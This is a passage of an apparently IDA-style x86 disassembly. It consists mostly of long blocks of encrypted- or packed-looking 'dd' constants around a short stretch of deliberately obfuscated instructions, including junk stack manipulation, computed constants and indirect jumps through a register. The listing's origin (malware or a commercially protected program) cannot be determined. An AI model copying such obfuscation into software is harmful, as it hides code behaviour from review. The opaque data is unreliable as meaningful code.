		dd 0ABBFC762h, 0E07B69A1h, 62097F6Ah, 0BB12723Bh, 9DCDE049h
		dd 6AC6F4C2h, 8EB13067h, 65F81543h, 327B7EB6h, 9FB85150h
		dd 9E3423B6h, 8829582Bh, 65F6EA5Fh, 3BAB5BB6h, 0C3749FA7h
		dd 892AB132h, 0D8757E7Dh, 620C0C5Bh, 0E37290B7h, 0FF6CFB6h
		dd 661EB0B6h, 45F6F3B6h, 0ECA93AE9h, 0E4F2D8CAh, 71F25AF2h
		dd 22F63FB6h, 0E4DA5CE1h, 24D26D55h, 9C4B64AFh,	65F109AEh
		dd 65A17CB9h, 659CFCB6h, 65F596E5h, 3ED63FB6h, 397FC475h
		dd 2177CB92h, 65E0E392h, 36B5F3B6h, 6A6F975h, 0B7779AE7h
		dd 0E6ACB23Dh, 9FC70A0Bh, 0E1F99FB1h, 65F6CF9Bh, 8DA4E7DCh
		dd 65F6F3B5h, 3F35A396h, 61D2A83Fh, 61D23A37h, 65F63FA2h
		dd 2635CDF4h, 65F54EB9h, 8376E7B6h, 651A1AEFh, 8E76F9B6h
		dd 884B7FE4h, 64F18485h, 6563BAB9h, 659C9FB6h, 65F527E0h
		dd 3BD6E7B6h, 117FAD75h, 2177FD92h, 65EDF892h, 33B07EB6h
		dd 2F480475h, 6BB86542h, 0FAB3AB5h, 661EB0B6h, 45F6F3B6h
		dd 0ECA93AE9h, 0E4F2D8CAh, 7DF25AF2h, 22F63FB6h, 99F05CE1h
		dd 6A1F0F45h, 0F353709h, 661EA5B6h, 45F6F9B6h, 0ECA83FE8h
		dd 0E4F25AC2h, 70F21BF2h, 23F69FB6h, 0AAE30CE0h, 8C403036h
		dd 65F6F3D8h, 8DA0F9DCh, 65F6FCB5h, 3B352096h, 61D24B3Fh
		dd 61D2DB37h, 65F6CFACh, 8435B1F0h, 9CECE021h, 0E490FDDAh
		dd 38B5CC55h, 8DA67EDCh, 65F63FB5h, 3D35C796h, 61D28B3Fh
		dd 61D2A337h, 65F6F3A0h, 0A35A9F6h, 0C74DCBDFh,	0AA84DBFEh
		dd 8DA03FDCh, 65F69FB5h, 3B359196h, 61D2933Fh, 61D2B737h
		dd 65F6F9ACh, 0EE35AAF0h, 5D1320BFh, 0D87BB972h, 620944EEh
		dd 855F423Bh, 784EE049h, 568DC9EAh, 9FEAF833h, 0A439D7B1h
		dd 0ABBFC75Fh, 0E07B69A1h, 62097F6Ah, 0BB12723Bh
		dd 9DCDE049h, 6AC6F4C2h, 0E9833067h, 83A4F305h,	0FFDB0DBDh
		dd 0D740007h, 4F668D8Dh, 1B807FAh, 0FF000000h, 6A40E1h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 81687DC3h, 2CEF99Ch,	6A91D380h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 4696C350h
		dd 0F6A61BDh, 380h, 0D08B6600h,	0E883A6B7h, 56006A2Dh
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 66F7426Eh, 0C08BD08Bh, 0FB8B5360h, 0BD83615Eh, 7FA2ACDh
		dd 83097500h, 0FA1899BDh, 19740007h, 0C08B5350h, 3FCB8h
		dd 81858900h, 8D07FA15h, 0FCE28B9Dh, 5BD3FF07h,	99BD8358h
		dd 7FA18h, 53501774h, 3FCB8h, 81858900h, 8D07FA15h, 0FCDF2C9Dh
		dd 5BD3FF07h, 55006A58h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1404h, 0C3554500h, 0D2B70FE1h, 12E8h, 0E0F09900h, 0AA19B938h
		dd 0CCF0F590h, 3025A0CBh, 0B7F061C3h, 8B665A3Fh, 0E8C08BD0h
		dd 0Dh,	423EF097h, 25C354A7h, 0EB129031h, 3870FEBh, 0F000000h
		dd 0E85FDFBFh, 14h, 68E1A926h, 0AC26B8F5h, 317D19F2h, 96F0BF58h
		dd 2C8806A0h, 0F850Fh, 0AE90000h, 22000000h, 962CCB38h
		dd 3FCF0304h, 0C7815ED3h, 5F54h, 0BADEBF0Fh, 0
		dd 0C8BE3B7h, 0F5605017h, 5E61C38Bh, 4B49F181h,	0BE868E1h
		dd 0E7000000h, 0AD866181h, 78A1C07Bh, 816686DBh, 5E0603DBh
		dd 8BFFE981h, 83B87786h, 810810D0h, 0EA05D3F1h,	0C78B663Dh
		dd 0F3BF0F51h, 0E917048Fh, 6, 0D2949F77h, 0F60FC7Dh, 8166D3BFh
		dd 61C809EEh, 0F03EA83h, 0BB4AC3B7h, 4257D03h, 0A1A8FA81h
		dd 850FFFFFh, 24h, 10E9h, 8BB7C500h, 22DF6604h,	0ED18204Ah
		dd 825DC465h, 22E9ABh, 0D95D0000h, 5FE74499h, 0AFA6AFEFh
		dd 0FF68E9F8h, 7CD2FFFFh, 0CA7E00ACh, 1A473B42h, 21F44785h
		dd 79785F1Ah, 0BE9h, 0FD35CE00h, 809E017Dh, 7Ch, 0CC2E9h
		dd 0E4406800h, 0EDE907FFh, 68FFFA9Bh, 7FFE52Ah,	0FA9BE3E9h
		dd 0E66B68FFh, 0D9E907FFh, 68FFFA9Bh, 7FFE787h,	0FA9BCFE9h
		dd 0E93E68FFh, 0C5E907FFh, 68FFFA9Bh, 7FFEBBFh,	0FA9BBBE9h
		dd 0ED4868FFh, 0B1E907FFh, 68FFFA9Bh, 7FFEE21h,	0FA9BA7E9h
		dd 7B23F3FFh, 247A9845h, 0CAD441EEh, 7628E794h,	207E9340h
		dd 1A01B6EAh, 0C471A7F7h, 6B184E50h, 16C3F9A5h,	9C6BA1FDh
		dd 66C52844h, 85EB07E6h, 1092BCCEh, 0D0D4534Bh,	3ED58228h
		dd 9A7BD060h, 0AEB88A04h, 44DDF0FBh, 6DA60B9Eh,	0EF9AFB31h
		dd 2BC5E171h, 5707E102h, 0E04773FEh, 0EA07E100h, 70A8AF69h
		dd 0E406F09h, 30h, 0CA96F39Fh, 70A5FA3Ah, 0D47AA32Eh, 0E09B9260h
		dd 0A7379007h, 0BE637B7Dh, 7218E1C4h, 0DB4CB3DFh, 0D55607E0h
		dd 0E6DC141Bh, 0A37A406Eh, 0B000000h, 0A7326CA7h, 44CFCF42h
		dd 0DF6A34DFh, 0CF05997Ah, 0E687C55Bh, 0F8A66DFFh, 0A0FE15C2h
		dd 0D38DFC15h, 0CDD90343h, 7BDEFAADh, 0A9FFE6A7h, 751BD650h
		dd 0B755C96Fh, 0E307E18Eh, 96F3548Ah, 0DB1E3ACAh, 90FDE30h
		dd 46CB20B0h, 9C752258h, 41624402h, 84BF9998h, 0AD8E5h
		dd 6F2FE700h, 18868C39h, 0BEE035E2h, 6A34DB88h,	148A8734h
		dd 0EF5AADEh, 0B8659B03h, 5F0C425Ch, 0AB7EDB1h,	905F9509h
		dd 67B91C38h, 81E707E6h, 346AA7CAh, 0B5C251FEh,	0E6833699h
		dd 8EF10DFFh, 0B4FFE683h, 58C11A5Bh, 96F36B22h,	501E3ACAh
		dd 4E07E09Ch, 88FE45E4h, 0C756821h, 60EE5581h, 77F807E1h
		dd 6D7EB6BDh, 0DE1C406Fh, 0AD000000h, 0A7326CA7h, 8CA8CF42h
		dd 0FFE68329h, 0A95FE57h, 0F1AD65BAh, 23973D66h, 0FFE6888Dh
		dd 0A405EB5h, 58E8B65Dh, 0EC920C03h, 17494059h,	22F24787h
		dd 5CC8F17Ch, 0FFE686F9h, 288BA727h, 4EFFE687h,	4EE68CF5h
		dd 0E0A89432h, 0A3D93207h, 89194742h, 0DD86196Dh, 5CEC450Fh
		dd 186D0A07h, 0ED16A1FDh, 0ED7E1E81h, 82EB44FFh, 0F0729F4Ch
		dd 54127B23h, 99989344h, 0EEEB8AC5h, 0D1000009h, 76235945h
		dd 1FCC029Ch, 0C572A8F6h, 711E544Ah, 94C8FEA0h,	8519F8DFh
		dd 2C72A24Fh, 0D7C749F6h, 7F1FF4A1h, 6227A49h, 7E668A3h
		dd 0BCB46BD1h, 61F1AD67h, 0E682E245h, 11B710FFh, 0BBF1AD64h
		dd 999050Eh, 0B23D61B4h, 4DD8C64Dh, 0D715BB24h,	4229153Fh
		dd 2CE5E96Ch, 27A1E34Dh, 2ED45680h, 326CA777h, 0CDD142A7h
		dd 0D533697h, 0B6E7617Dh, 0A2FB07E0h, 0B685EB17h, 0C54D07E0h
		dd 29E94ED9h, 9DCEEA75h, 55D63BE3h, 0BE5C949Bh,	7CFA406Eh
		dd 8B000006h, 3ACA96F3h, 0E0A07C1Eh, 7A952A07h,	8967F24h
		dd 81E8149Fh, 8B07E09Fh, 1149500Ah, 0AF406EA7h,	657h, 0CA96F340h
		dd 8B001E3Ah, 459E07E0h, 22FE8BB5h, 0AC9B641h, 3EA5D164h
		dd 4807E0C3h, 0CE060DC7h, 6C406ECBh, 62Fh, 0BB657BFDh
		dd 0E60292CEh, 7E089E4h, 94E979D2h, 69921D81h, 9C1A7EC3h
		dd 3293F5B3h, 63C6E257h, 2D8BD5B2h, 0E479BAE4h,	0BEE7722Ch
		dd 405CEC55h, 93CFBB7Eh, 4E50C015h, 0ABF49AC3h,	0DBAEC752h
		dd 54D9F585h, 8293F5E5h, 107925EDh, 0B6E82B80h,	5E40D380h
		dd 717502A0h, 2DCC0712h, 8ADh, 649A0412h, 0D435BB7h, 0B3E9B560h
		dd 5F950906h, 93F5FB2h,	0DA3720D5h, 33E18EC4h, 8888356Bh
		dd 0E033E016h, 61B988BEh, 0E668E245h, 0F3AA1007h, 0A7326CA7h
		dd 0D565FB8Eh, 0D6395595h, 0FCFFE683h, 1289FDA3h, 0C007E666h
		dd 65C12440h, 96EF07E6h, 4C83F72Dh, 0F207E665h,	910D0663h
		dd 0EC80D701h, 0B5C361C3h, 1D70D10Fh, 6989B343h, 8920ACC2h
		dd 0B062FA74h, 4947F5A5h, 76CB0BA3h, 0E85C029Ch, 7E6418Dh
		dd 75CA5AB3h, 4A73FEA0h, 67AC11A4h, 368D0137h, 1507E641h
		dd 4156B9D5h, 237C07E6h, 3740D07Dh, 36F2FE2h, 7E641A0h
		dd 0CE046DC6h, 86CB0C36h, 9F874B0Eh, 0D7C74CF9h, 811DF247h
		dd 9427CDF6h, 0E6700168h, 0F1ABEC07h, 6298060Dh, 0B5405EB5h
		dd 0E6A02289h, 0DC96BFF7h, 4D831BF8h, 11566h, 6CA7FF00h
		dd 46700321h, 73DC6D88h, 118D83E8h, 31E13686h, 13B9E26Dh
		dd 0E7663C9Fh, 910D06FFh, 0C49CED06h, 49A11834h, 0D62F07E7h
		dd 61699418h, 9B3A759Eh, 791h, 80B6E82Eh, 295F3FD3h, 0CF05997Ch
		dd 7BB1ED22h, 255B43CEh, 0BE533CF1h, 17FDAAE0h,	6CA45187h
		dd 0C44FFC32h, 7DD5A4DAh, 0E669FE61h, 7BE2407h,	0EF0B6CA7h
		dd 0FFE6838Ch, 3B9250BAh, 86D532D5h, 0C429B41Dh, 6CC1514Dh
		dd 1553F9A5h, 8BEC287Dh, 0E6CE0C6Fh, 78E13AFFh,	0B3EB25D2h
		dd 5B43D07Dh, 5997825h,	0A2FC157Ah, 10CAFB17h, 83B9E52Ch
		dd 74DA7BB3h, 71938h, 6DAA0000h, 0C5h, 326CA706h, 0FB1757A7h
		dd 0FFE68398h, 4BBF65BEh, 0FFE692E4h, 0B23D61AEh, 4FDAC44Dh
		dd 9380E3FFh, 4DA6FFE6h, 30D892BBh, 0AC7B355Eh,	3CE2BC57h
		dd 32DE848Fh, 4FB8E16Ch, 0FAA46C19h, 0A2FC156Ah, 0B548EE17h
		dd 0E6932389h, 0AAEA32FFh, 0E6932B8Eh, 5A0059FFh, 0D53B1FD9h
		dd 0B11A848Dh, 69A7C47Bh, 305AAA35h, 7C1FB9DCh,	7D2AD006h
		dd 3B7B0B93h, 0E6FFBC1Fh, 0EB91EAFFh, 0B4F43C58h, 0E6FF3598h
		dd 5C025BFFh, 0D33D21DBh, 572195CBh, 23FFE708h,	0BCD13E93h
		dd 539DCB5Ah, 0B33EA736h, 7BDEFA8Ah, 0A9FFE72Fh, 9FDAAA50h
		dd 3F387537h, 0FFFFFE9Ah, 0A967BCD0h, 4274FFE4h, 4DB6D062h
		dd 0CF399C2h, 36Fh, 326CA7A5h, 83247BA7h, 0B8E1FFE6h, 69F91AFEh
		dd 0FE8EF7A7h, 6AC027D4h, 0E827090Fh, 99022BB6h, 0B08B5F3h
		dd 78B80893h, 4F3A0C4Eh, 309C6048h, 0FFE759CDh,	80F49AF3h
		dd 0FFE75929h, 0BD90BEE8h, 5208FED3h, 8A14FFACh, 0BDA3E6FFh
		dd 0E59A112Dh, 0CFF907E6h, 7D96597Eh, 70E5A721h, 4B46BF39h
		dd 0ABC95789h, 0A563BC05h, 9E61572Bh, 0DA1EBDF8h, 0E5000005h
		dd 8A376D31h, 33E01688h, 0D986BCE2h, 85326836h,	0A8DC128Ch
		dd 99050CF3h, 405EB663h, 0EBB35D0Ah, 930B08B5h,	1A368E5Dh
		dd 7E66CB7h, 0A7C077DDh, 591EF66Ch, 0E683DA3Dh,	46AF08FFh
		dd 83379AB6h, 45DFFE6h,	66AB109Bh, 8392F511h, 67C0FFE6h
		dd 0F81BC8FEh, 90F9A56Ah, 3A64AD5Ah, 0D7C74AAFh, 0BEE8304Ch
		dd 5C78EA4Bh, 0FFE6E2F9h, 0B154CE27h, 0DE5F05F2h, 0CDD14024h
		dd 0F48FC797h, 782D3874h, 0BE000002h, 3BC69AF3h, 0D582960Fh
		dd 5B43CCFEh, 0B8AA6BD0h, 8FB8435Bh, 20499B26h,	0C159BE66h
		dd 0E8C5A597h, 32D80A84h, 0B8F0F7B1h, 5637630Bh, 247h
		dd 8A9AF3E7h, 20B01985h, 0CD5846CBh, 8C12FFA4h,	9A32D801h
		dd 0E6831B7Eh, 65F049FFh, 0D582C039h, 0C78102FEh, 399CB8F8h
		dd 67FED581h, 0F8A6690Eh, 0CE9E446Dh, 37638996h, 20A34h
		dd 9AF3C500h, 8D18868Ah, 4DB6E828h
		dd 0F81454E4h, 0FFE68395h, 0C2CE7F82h, 8DCE1F7Ah, 0F6811DF8h
		dd 51BF64CDh, 0F399C24Dh, 18E03F5Bh, 0A5FEFFE7h, 1775EE1Ah
		dd 24EBFED6h, 878AEF7Ah, 113A8C17h, 0B24AAF57h,	5FEAB45Dh
		dd 550F9036h, 0E8DD5C86h, 6801EF5h, 18BE9B6Ah, 629C1048h
		dd 1A9AE37h, 0F33F0000h, 0F636C69Ah, 0E68377DAh, 9F449DFFh
		dd 0EB832975h, 0E68374CFh, 0AE3992FFh, 0D5820982h, 7C36B7FEh
		dd 0EE516DADh, 14FED580h, 7F0A947Fh, 7747ED56h,	3763893Fh
		dd 16EDDh, 6CA76E00h, 0F6811DF6h, 89D964CDh, 34BFDF34h
		dd 5BB8650Bh, 0DDAC0D43h, 4EC9F383h, 9BC391CEh,	0A3596006h
		dd 3CA5B351h, 48E2FE96h, 5E07E0D7h, 0E74E7A05h,	0F107E085h
		dd 0A5332F59h, 994B576h, 5928E263h, 5ABDD919h, 8807E08Eh
		dd 8E60C32Fh, 2D8607E0h, 967FB787h, 441D406Eh, 0AE000000h
		dd 3ACA96F3h, 9B3AD0FAh, 91334E7Dh, 0AF29E8D5h,	3FE5F491h
		dd 0E106FDCBh, 8B85DA07h, 8F246D13h, 29B41D81h,	4C7FAFD9h
		dd 0AA247A97h, 52F82FA4h, 0E12977DEh, 46008107h, 6F35073Fh
		dd 9BA540h, 0BC360000h,	1B8C527Ch, 159ADCFh, 0E7533295h
		dd 610760FFh, 0B43F5FB4h, 51DCC24Fh, 0EC7727ECh, 0DC128C87h
		dd 0E757D268h, 0B95CB1FFh, 81923FE5h, 386E71Dh,	0DBB1CD5Dh
		dd 707E436h, 92FBA372h,	3A64AD02h, 0E4BA5704h, 62635E26h
		dd 95346F9Eh, 359h, 0B8EEB066h,	6197070Bh, 73D61B4h, 0B3E9B55Ah
		dd 5D930B06h, 868B7429h, 0DF35E218h, 34DC89BFh,	8C87346Ah
		dd 0B50DDC12h, 0E66E3699h, 3FF65C07h, 1AF86AA7h, 38E51B84h
		dd 1D809CDBh, 43FFE683h, 0D4CA45EAh, 81B72049h,	326CA7CAh
		dd 120257A7h, 0DA39E68Ch, 0A1F68EC4h, 10842A74h, 0FFE683AAh
		dd 797C9C0h, 19D72C7h, 33A74D76h, 7E08C49h, 8816F94Eh
		dd 0E52ED4FDh, 0A79F568Ch, 62A2326Ch, 0E682E346h, 12B811FFh
		dd 3BDA2F7Fh, 310BD63h,	8504659Bh, 833598B4h, 0DB5BFFE6h
		dd 0E6835CBFh, 0C8318AFFh, 738FCF5Fh, 0FFE68310h, 9F37DD36h
		dd 0E0ADE983h, 19A4FD07h, 0E0AD86EDh, 550F9007h, 6EB5164Eh
		dd 36B440h, 0F3450000h,	0E53ACA96h, 7D85D30h, 0F3179F1Bh
		dd 304CE48Ah, 7E12A62h,	709C2780h, 7E11909h, 0D1D89213h
		dd 406F2599h, 0C1244080h, 0EF07E10Dh, 0C30FF096h, 0A0000000h
		dd 0A2326CA7h, 0A2703862h, 78D124B3h, 0E6CAA90Ch, 0D87ED7FFh
		dd 6D31E045h, 8967DE2h,	3DD82D7Dh, 50EBB61h, 59EF6399h
		dd 36FFE6CFh, 0DF3230E1h, 0A20B34BFh, 9B48EE17h, 43F02678h
		dd 0F1CBDD0h, 46D3F25Fh, 0AD0252DDh, 82AB3668h,	2B0E7BDCh
		dd 0E6CDAC0Fh, 1881DAFFh, 0E2866C88h, 3B6507E0h, 27B71E74h
		dd 8CD57B29h, 0ED9CFD33h, 0EBC7E373h, 130FDE04h, 3CD52ABAh
		dd 927F2C62h, 15AC4E0Ch, 528D9998h, 1D0B3h, 7727EF00h
		dd 207E9441h, 0C6D83DEAh, 722CE390h, 1C828F3Ch,	16FDB2E6h
		dd 0C06DA3FBh, 67144A54h, 12BFF5A9h, 98679D01h,	70C12440h
		dd 89EF07E6h, 346AA7D2h, 0DCC251FEh, 96F3EFA6h,	501E3ACAh
		dd 4E07E09Ch, 0C51A6AF5h, 9FC8534Bh, 9B1E85F9h,	0A72807E0h
		dd 0A7AEE6EDh, 0C84C406Eh, 0DD000000h, 0A2326CA7h, 36DCC24Dh
		dd 0CBD33EA3h, 779BF040h, 0CD739C27h, 0E687C359h, 0F6A86BFFh
		dd 9E0013C0h, 4658B90Eh, 59EC92BBh, 87174940h, 3B9FF85Dh
		dd 0B1577503h, 8417FD19h, 0EA4307E1h, 627F305Ah, 49E81CC2h
		dd 0E0E1CA2Dh, 369FF807h, 98F15290h, 0E11C38C8h, 0FF0FDDC0h
		dd 5AB7AB6Ah, 2790B944h, 38D92EBEh, 2BB6E82Ah, 0B6639902h
		dd 0E985435Bh, 0BA9998E9h, 0F7E07Fh, 4EC80000h,	0A56D1A50h
		dd 0FF16C3F9h, 53BC699Fh, 0A968154Bh, 0D68BBFF5h, 447A24EDh
		dd 0EB217D97h, 96CCD23Eh, 3E742AE9h, 98FB176Fh,	0BE07E671h
		dd 6AA7A158h, 4864A434h, 0FFE682E5h, 0CE0CB20Bh, 76ACF221h
		dd 138B89DEh, 6CF7A76Eh, 0A7E69D43h, 42A7326Ch,	1970BCD1h
		dd 6AFD16B3h, 1F6ACB01h, 0C94A8630h, 0FC18F6EBh, 0FFE6F099h
		dd 9C056EC7h, 0D375F00Ch, 0F24B07E6h, 0BBD71767h, 7E61258h
		dd 18A3FB1Ah, 0AF55AEEFh, 578D1102h, 0F20E69AAh, 7E6128Fh
		dd 2C00E97Ch, 0FC3D67E9h, 0CBA98892h, 359EE24Ah, 0B1F141CCh
		dd 0E5DB3295h, 61076007h, 0E8A147EDh, 28E21B81h, 99CFCF44h
		dd 0EC7727ECh, 8B168887h, 29B4EA26h, 0C5504EC4h, 0A8500A33h
		dd 0FF3ADD6h, 0B7649A04h, 5DB2425Ch, 365FEAB4h,	911C8291h
		dd 0DF2FC268h, 2020839Fh, 0ED467DE4h, 36047h, 0BBF90000h
		dd 2F6FA75Ch, 0CAD43FA4h, 6836DA3Fh, 29C78DDh, 9FFF1277h
		dd 3C62AF14h, 0DBC34CB1h, 742AEB50h, 108E84E9h
		db 85h,	52h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	esi
		mov	esi, 4
		sub	ebp, esi
		pop	esi
		xchg	ebp, [esp]
		pop	esp
		push	322Bh
		mov	[esp], esi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	edx
		push	ebx
		mov	ebx, 41B66142h
		sub	ebx, 7BFA5A11h
		not	ebx
		inc	ebx
		inc	ebx
		sub	ebx, 32441584h
		mov	edx, ebx
		pop	ebx
		mov	esi, edx
		pop	edx
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		pop	dword ptr [ebp+8]
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_58B334
; ---------------------------------------------------------------------------
		db 0D9h
; ---------------------------------------------------------------------------
		push	edx
		add	cl, [eax+edi*4+7FFEF3Dh]
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 5A2E18A0h, 1714766Fh, 71D9CFE9h, 5BCA95C1h, 0D3EE73Bh
		dd 1C69969Ch, 4160F67Bh, 31BAFB31h, 6CBE426Eh, 54E564A7h
		dd 798AFE30h, 23531CD5h, 5DAB3CA4h, 708A9B3Eh, 10DB1D2Eh
		dd 7347D7Eh, 54FD1BE8h,	79D2AA5Bh, 48E9h, 3E301F00h, 2Eh
		dd 0C51C5700h, 6148434Ah, 0A5ADF936h, 528C88A7h, 0B7FB75h
		dd 0ADF99CBEh, 89937EE5h, 0F4C7009Dh, 6063921Dh, 0DE19h
		dd 6 dup(0)
		dd 0B0CE900h, 0AE680000h, 0E907FFF1h, 0FFFA8E88h, 0FFF2BA68h
		dd 8E7EE907h, 0A968FFFAh, 0E907FFF3h, 0FFFA8E74h, 0FFF46368h
		dd 8E6AE907h, 3568FFFAh, 0E907FFF5h, 0FFFA8E60h, 0FFF61E68h
		dd 8E56E907h, 0B468FFFAh, 0E907FFF6h, 0FFFA8E4Ch, 0FFF8B568h
		dd 8E42E907h, 0C468FFFAh, 0E907FFF9h, 0FFFA8E38h, 0B4EAB462h
		dd 5D930B07h, 33965B0h,	0AFE5B956h, 598F0F02h, 8A877025h
		dd 0E331DE14h, 38D885BBh, 90833066h, 0B109D80Eh, 0E6733295h
		dd 43FA6007h, 3ACA96F3h, 0E673F01Eh, 0BB59EE07h, 0CA336BA7h
		dd 6539DA3Fh, 0AE0393FCh, 7FA93965h, 97B3A486h,	7E59D34h
		dd 2A8F0962h, 9AD87E45h, 16BED802h, 0FC99A801h,	92ED506Ch
		dd 0BA1307E5h, 0F2AC6714h, 0BBD71767h, 7E59358h, 7995257Eh
		dd 7E59316h, 0DC3DE33Ch, 0E323B3ADh, 8E19858Eh,	4BBF65h
		dd 0D70FE583h, 1B376D97h, 0EAEB967Ah, 0E6E51B7Eh, 4AF049FFh
		dd 0C318A801h, 6B184E50h, 526BF6A8h, 83E60237h,	0B1FFE6E5h
		dd 0E5B21531h, 87E0FFE6h, 0F728E1Eh, 35FFE6E5h,	0A3E373DCh
		dd 5D041A79h, 50F5B0A1h, 2851DCC2h, 0D3AC0E82h,	368B07E0h
		dd 113AC5D9h, 0BC9226Bh, 9E64514Eh, 0F147E621h,	55000008h
		dd 0FAA7DDC1h, 0A3508618h, 49F62C72h, 0F5A2D8C6h, 184C821Ch
		dd 9957C63h, 0B0EE26D3h, 5B43CD7Ah, 39B7825h, 8AA6FECDh
		dd 7E67427h, 0A730E74Dh, 42A7326Ch, 3697CDD1h, 3D7D0D53h
		dd 0A1C85E13h, 8F3438E0h, 3771D81h, 7E15D69h, 3F94247Dh
		dd 9023C9D5h, 0E107FD64h, 0CC860707h, 6F108DC5h, 2C2B40h
		dd 0F3BC0000h, 0E53ACA96h, 35CD732Bh, 0E09C4B19h, 73FE5707h
		dd 0E09AE047h, 0AF69EA07h, 6EA770A8h, 0BF0E40h,	69BE0000h
		dd 3F68F3ABh, 6CA7E299h, 0CF42A732h, 34DF44CFh,	997ADF6Ah
		dd 0F3207505h, 0A2EE5F9Ah, 359EBB4Ah, 73DD518Fh, 0BFFE6B8h
		dd 0B3609608h, 63B33E60h, 1209CF39h, 0E0FC5BCFh, 0FFE7557Dh
		dd 3BE14AA3h, 21B1AFDAh, 0E1766705h, 84BA1307h,	257997ECh
		dd 0E46B1E7Fh, 908E464Bh, 0EB7BE4AEh, 0DD8A8CCFh, 0D161BA0Fh
		dd 43CD957Ch, 43ACF21Fh, 0F0268FB8h, 12D0CE43h,	9998983Dh
		dd 0E544E31Eh, 61000007h, 6B3E9B5h, 0AF5C920Ch,	55023866h
		dd 1AEE4BAh, 24588E10h,	1589886Fh, 0BCE232DFh, 6737D986h
		dd 0F8F8431h, 96B20AD9h, 7E67533h, 0A744FB61h, 51FE346Ah
		dd 0EA6DCC2h, 9F4559B9h, 0A967BCE8h, 9B416AF5h,	81114F3Ah
		dd 0E09B9765h, 0F11F7407h, 53F922ADh, 0FA26B10Ah, 7E09B93h
		dd 0A9C5059Dh, 7E09B46h, 0EC6D136Ch, 0A6F32B32h, 0CF91406Eh
		dd 22000000h, 0A2326CA7h, 4DD8C64Dh, 86EB7E24h,	5C88138Bh
		dd 0FFE686F2h, 0D9C54CA1h, 118D8633h, 25EE43DBh, 0ED26D379h
		dd 81D626B1h, 8690F8Fh,	334FDF81h, 7E0A795h, 16888DE2h
		dd 73BC628Bh, 683E41Ah,	608ACA5Ah, 79BD7E7Ah, 67E0BC79h
		dd 0B40FBA34h, 0F549BD63h, 210FDD8Bh, 0AC15898Ch, 544AC71Ch
		dd 0F9A56FC4h, 55E0BE54h, 9B48862Ch, 0C36A2876h, 6C9998AAh
		dd 6F69231h, 0C6500000h, 1DF5A2D8h, 779E4B81h, 0CB44F127h
		dd 21F09DD3h, 5E13477Dh, 0CC029C75h, 73A9F51Fh,	1E544AC6h
		dd 0C6FCA271h, 20839FF7h, 4607E676h, 92BC29E0h,	0DD3E25FBh
		dd 0A1B720AEh, 9EB04AFAh, 2FE28F35h, 0A9C92C48h, 62F7FFE6h
		dd 1C85EEB0h, 0C4DA39E6h, 6CA7D78Eh, 0D142A732h, 0A8FD3DCDh
		dd 81AA3569h, 0E683B215h, 0F787E0FFh, 0E68378DBh, 9F459EFFh
		dd 8386ED61h, 0ED9CFFE6h, 37C2DC37h, 0FF627E0Eh, 25FFE682h
		dd 0B7D363CCh, 7E6737Fh, 297E0E67h, 0C82DB8E6h,	47ED5648h
		dd 0E5B95AAFh, 8D1102AFh, 0C0A0E902h, 0A01A1430h, 6FC80FE0h
		dd 9B8382B1h, 0CF6EA999h, 63Ch,	5C920C0Ah, 53B63AFh, 0ABE1BD58h
		dd 578D11FEh, 13767AAh,	0E22F18CDh, 3BD986BCh, 90802D63h
		dd 0E82BD80Eh, 59B180B6h, 0E677DA3Dh, 0EBA20807h, 0A7326CA7h
		dd 3DCDD142h, 1ACDD713h, 0BA606B0Ch, 20DA0B27h,	37C7D73Ch
		dd 6478DBF7h, 459EFFE7h, 5991619Fh, 40387570h, 0D17727EBh
		dd 7F0h, 8A6D8100h, 6000001h, 0E68379E0h, 110358FFh, 749D028Dh
		dd 0BA1BC12Ah, 0C10191CFh, 0E68342A5h, 711770FFh, 737ABDD9h
		dd 0EF1907E6h, 22748C31h, 87D07659h, 345E9E2Eh,	0ED23800Bh
		dd 0FA3837B1h, 0DA39E68Ch, 37D98988h, 4A73FE67h, 0E913ABE1h
		dd 4651170Eh, 47F49A73h, 2E47D2CCh, 5975055Bh, 0FE0985Fh
		dd 0F96C2A83h, 5A999B9Ah, 56A801Fh, 3ADC0000h, 91812E64h
		dd 0EB2AD70Dh, 3FD07DB3h, 957C295Fh, 0EA9FD309h, 588E1001h
		dd 0FF3569ABh, 0AAE0BE52h, 528816FDh, 0AC0F2B83h, 0DA07E678h
		dd 6CA7BD74h, 0D142A732h, 0DE2642CDh, 0D4F08789h, 0FFE68371h
		dd 52DD469Fh, 128C8429h, 37B85E87h, 247A997Dh, 8EE61EEEh
		dd 0E843874h, 15000000h, 0BC6Dh, 44D02500h, 0A6CF5Ah, 0CA96F349h
		dd 7BDEFA3Ah, 0A9FFE683h, 0F612AA50h, 7E673C8h,	8D301D47h
		dd 16D4E973h, 0E5CE97FAh, 0FB64BD07h, 23B30C55h, 0F71D45CEh
		dd 5B083EA7h, 156E6B8h,	0D9028D11h, 287A033h, 67B2CE5Eh
		dd 2E0FE5BEh, 0BD633BD9h, 368B1B74h, 0F38BC1DDh, 0E804739Eh
		dd 0FFE73E85h, 43E952ABh, 91217D96h, 24CAD43Ch,	4F117891h
		dd 6741A3BFh, 0D06507E1h, 36F45D41h, 9E64CD29h,	8140DF1Ah
		dd 0C5000004h, 6A174D51h, 13C0F6A8h, 0B9669C02h, 65124856h
		dd 88BCF2ACh, 7925ECD3h, 207E9643h, 0CBD33DEAh,	732BE895h
		dd 0FA166E3Dh, 7E67997h, 6DA057BDh, 109h, 0CA96F306h, 73F01E3Ah
		dd 95EE07E6h, 3D61B005h, 31E489B2h, 0DA2FC76Dh,	822F6539h
		dd 67CAE691h, 8D07E673h, 2740CB34h, 196EFE62h, 0F019A4FAh
		dd 4B96B24Ah, 590FE663h, 0E9524CC4h, 8F0F0459h,	3668AAFFh
		dd 6EA55290h, 0FD8CA530h, 55B7D363h, 8107E0ACh,	76EB6A28h
		dd 9449E64h, 3EB6Ah, 0E3BB5B00h
